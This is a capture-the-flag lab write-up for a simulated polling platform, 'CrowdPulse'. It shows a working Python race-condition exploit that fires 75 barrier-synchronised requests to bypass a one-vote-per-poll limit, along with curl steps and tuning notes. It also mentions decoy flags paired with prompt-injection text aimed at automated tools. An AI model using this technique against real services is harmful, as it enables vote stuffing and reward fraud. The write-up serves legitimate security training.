Lab 174 — CrowdPulse — Race Condition in Vote Submission
Lab 174 — CrowdPulse — Race Condition in Vote Submission
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: connection_pre_warming, poll_creation_for_clean_race, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_vote_bypass
Summary
Task: Polling platform enforces one vote per user per poll, but a 'Super Voter' badge requires 10+ votes on a single poll. Solution: Exploited a TOCTOU race condition in the vote endpoint by firing 75 synchronized concurrent requests via threading.Barrier with pre-warmed connections, landing 10 votes through the race window, then claimed the reward.
Lab 174 — CrowdPulse — Race Condition in Vote Submission — HackAdvisor
Description
CrowdPulse is a real-time polling and audience engagement platform used by organizations for decision-making, feedback collection, and community voting. The platform features live polls with instant results, detailed analytics dashboards, and a gamified rewards system for active participants. Each user is strictly limited to one vote per poll to ensure fair and trustworthy results. The Rewards Center tracks engagement badges including a mysterious "Super Voter" achievement that requires casting 10+ votes on a single poll — something that should be impossible under normal operation. Your goal is to find and exploit a vulnerability in the platform to unlock the Super Voter achievement and obtain the flag.
English summary: A polling platform where each user can only vote once per poll. The Rewards Center has a "Super Voter" badge requiring 10+ votes on a single poll — impossible under normal operation. The goal is to exploit a race condition in the vote endpoint to bypass the one-vote limit and claim the badge.
Analysis
Reconnaissance
- Stack: Express.js + nginx/1.25.5 (X-Powered-By: Express)
- Credentials:
user@test.com/password123 - Auth: Session-based with
connect.sidcookie viaPOST /api/auth/login(form-encoded) - Key pages:
/polls(browse 8 existing polls),/polls/create(create new poll),/rewards(rewards center with badges)
Application Features
The platform has four engagement badges in the Rewards Center:
- First Vote — cast your first vote
- Poll Creator — create a poll
- Active Voter — vote on 5+ different polls
- Super Voter — cast 10+ votes on a single poll (the target)
The Super Voter badge has a "Claim Reward" button that calls POST /api/rewards/claim. The server checks whether the user has actually achieved 10+ votes on any single poll before granting the reward.
Key API Endpoints
| Method | Endpoint | Body | Description |
|---|---|---|---|
| POST | /api/auth/login | email=...&password=... (form) | Login, returns connect.sid |
| POST | /api/polls | {"title","description","category","options"} | Create a new poll |
| GET | /polls/{id} | — | View poll page with vote form |
| POST | /api/polls/{id}/vote | {"optionId": N} | Submit a vote |
| POST | /api/rewards/claim | {} | Claim Super Voter reward |
Vulnerability: TOCTOU Race Condition
The vote endpoint POST /api/polls/{pollId}/vote implements a classic TOCTOU (Time-of-Check to Time-of-Use) race condition with a non-atomic check-then-update pattern:
- CHECK: Server queries the database to verify if the user has already voted on this poll
- RECORD: If the check passes, the vote is recorded in the database
- UPDATE: User's vote status is marked as "voted" for this poll
Between steps 1 and 3, there is a race window where multiple concurrent requests can all pass the check before any of them marks the user as having voted. A single sequential duplicate vote correctly returns {"error":"You have already voted on this poll"} (HTTP 400), but concurrent requests slip through.
The challenge is that the race window is narrow — only a fraction of concurrent requests succeed. The goal is to get at least 10 through.
Solution
Step 1: Login and Create a Fresh Poll
Login with the provided credentials and create a new poll to ensure a clean state (no prior votes that might affect the race):
bash read-only • copy allowed# Login curl -c cookies.txt -X POST "$BASE/api/auth/login" \ -d "email=user@test.com&password=password123" # Create poll curl -b cookies.txt -X POST "$BASE/api/polls" \ -H "Content-Type: application/json" \ -d '{"title":"Race Test","description":"Test","category":"Tech","options":["Alpha","Beta","Gamma"]}' # Returns: {"success":true,"pollId":9}
Fetch the poll page to extract option IDs from the HTML form (name="optionId" value="32").
Step 2: Race Condition Attack
The key to a successful race is maximizing concurrency so all requests hit the server's check phase simultaneously. The exploit uses three optimizations:
- Pre-created sessions: 75
requests.Sessionobjects sharing the sameconnect.sidcookie - Connection pre-warming: Each session sends a HEAD request to establish the TCP/TLS connection before the race
threading.Barrier(75): All 75 threads synchronize at a barrier and release simultaneously
python read-only • copy allowed#!/usr/bin/env python3 """CrowdPulse Race Condition Exploit""" import requests import threading import re BASE_URL = "https://29673928-e69e-4a95-b689-e5b92ce3feb8.labs.hackadvisor.io" NUM_THREADS = 75 # Login session = requests.Session() session.post(f"{BASE_URL}/api/auth/login", data={ "email": "user@test.com", "password": "password123" }) cookies = dict(session.cookies) # Create a fresh poll create_resp = session.post(f"{BASE_URL}/api/polls", json={ "title": "Race Test Poll", "description": "Testing concurrent voting", "category": "Tech", "options": ["Alpha", "Beta", "Gamma"] }) poll_data = create_resp.json() POLL_ID = poll_data["pollId"] # Get option IDs from the poll page HTML poll_page = session.get(f"{BASE_URL}/polls/{POLL_ID}") option_ids = re.findall(r'name="optionId" value="(\d+)"', poll_page.text) OPTION_ID = int(option_ids[0]) # Pre-create sessions and warm up TCP connections barrier = threading.Barrier(NUM_THREADS, timeout=30) results = [] lock = threading.Lock() sessions = [] for i in range(NUM_THREADS): s = requests.Session() s.cookies.update(cookies) sessions.append(s) def warmup(idx): try: sessions[idx].head(f"{BASE_URL}/polls", timeout=10) except: pass warmup_threads = [threading.Thread(target=warmup, args=(i,)) for i in range(NUM_THREADS)] for t in warmup_threads: t.start() for t in warmup_threads: t.join(timeout=15) # Race attack — all threads fire simultaneously def attack_thread(idx): try: barrier.wait() # Synchronize all threads resp = sessions[idx].post( f"{BASE_URL}/api/polls/{POLL_ID}/vote", json={"optionId": OPTION_ID}, timeout=30 ) with lock: results.append(resp.status_code == 200 and "success" in resp.text.lower()) except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)] for t in threads: t.start() for t in threads: t.join(timeout=60) successes = sum(1 for r in results if r) print(f"Successful votes: {successes}") # 10 out of 75 # Claim the Super Voter reward claim_resp = session.post(f"{BASE_URL}/api/rewards/claim", json={}) print(f"Claim: {claim_resp.text}")
Result: 10 out of 75 concurrent requests passed the vote check and were recorded, meeting the Super Voter threshold.
Step 3: Claim the Reward
bash read-only • copy allowedcurl -b cookies.txt -X POST "$BASE/api/rewards/claim" \ -H "Content-Type: application/json" -d '{}'
Response:
json read-only • copy allowed{ "success": true, "message": "Congratulations! You unlocked the Super Voter achievement!", "reward": "FLAG{REDACTED}" }
Iteration and Failed Attempts
Getting exactly 10+ votes through the race window required tuning:
| Attempt | Strategy | Poll | Result |
|---|---|---|---|
| 1 | 50 threads, existing poll | #5 | 8 votes (not enough) |
| 2 | 100 threads, existing poll | #3 | 8 votes |
| 3 | 200 threads, existing poll | #7 | 8 votes |
| 4 | 200 async (aiohttp) | #8 | 9 votes (close!) |
| 5 | 300 async requests | #2 | 6 votes (too fast, rate-limited) |
| 6 | 75 threads, pre-warmed, fresh poll | #9 | 10 votes ✓ |
| |
Key insights:
- More threads ≠ more successes: Beyond ~100 threads, the server's connection handling introduces delays that actually widen the gap between requests
- Pre-warming connections eliminates TCP/TLS handshake variance, giving a tighter race window
- Fresh poll ensures no prior vote state that might cause early rejection
threading.Barrierprovides tighter synchronization than asyncio for this use case
Decoy Flag
Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs, surrounded by prompt injection text attempting to trick automated tools. This was identified and ignored.